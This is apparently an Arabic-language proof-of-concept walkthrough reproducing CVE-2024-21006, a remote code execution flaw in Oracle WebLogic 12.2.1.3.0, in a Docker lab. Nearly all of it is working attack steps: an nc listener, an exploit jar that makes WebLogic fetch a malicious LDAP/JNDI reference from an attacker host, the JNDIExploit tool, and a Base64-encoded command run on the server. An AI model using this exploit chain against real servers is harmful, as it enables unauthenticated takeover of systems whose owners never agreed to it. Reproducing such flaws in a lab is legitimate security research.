
تنفيذ التعليمات البرمجية عن بُعد (RCE) - Oracle WebLogic 12.2.1.3.0
CVE-2024-21006 هي ثغرة أمنية حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) تؤثر على خادم Oracle WebLogic. يرتبط الخلل بالاستخدام غير الآمن لبروتوكول IIOP و JNDI، مما يسمح لمهاجم عن بُعد غير مصادق بتنفيذ كود تعسفي على الخادم المتأثر، عبر مرجع JNDI ضار.
قم بإعداد البيئة:
docker-compose up -d
للوصول إلى شل Kali:
docker exec -it cve-2024-21006_poc-kali-1 /bin/bash
للوصول إلى شل WebLogic:
docker exec -it cve-2024-21006_poc-weblogic-1 /bin/bash
للوصول إلى شل ExploitBox:
docker exec -it exploitbox /bin/bash
في هذه المرحلة، لدينا مثيل من WebLogic 12.2.1.3.0 قيد التشغيل محليًا: http://127.0.0.1:7001/console/login/LoginForm.jsp

في Kali:
nc -vnlp 1389
في ExploitBox:
java -jar CVE-2024-21006.jar <IP do WebLogic> 7001 ldap://<IP do Kali>:1389
لاحظ أن Kali استقبل الاتصال القادم من WebLogic:

في Kali، قم بتشغيل JNDIExploit:
cd /exploit
java \
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
--add-exports java.xml/com.sun.org.apache.xml.internal.serializer=ALL-UNNAMED \
-jar JNDIExploit/JNDIExploit-1.3-SNAPSHOT.jar -i <IP do Kali>

في ExploitBox، قم بتنفيذ الـ exploit:
java -jar CVE-2024-21006.jar <IP do WebLogic> 7001 "ldap://<IP do Kali>:1389/Basic/Command/Base64/<Comando em Base64>"

في Kali، لاحظ أننا تلقينا الطلب:

في WebLogic، لاحظ أن الأمر تم تنفيذه وتم إنشاء الملف بنجاح:
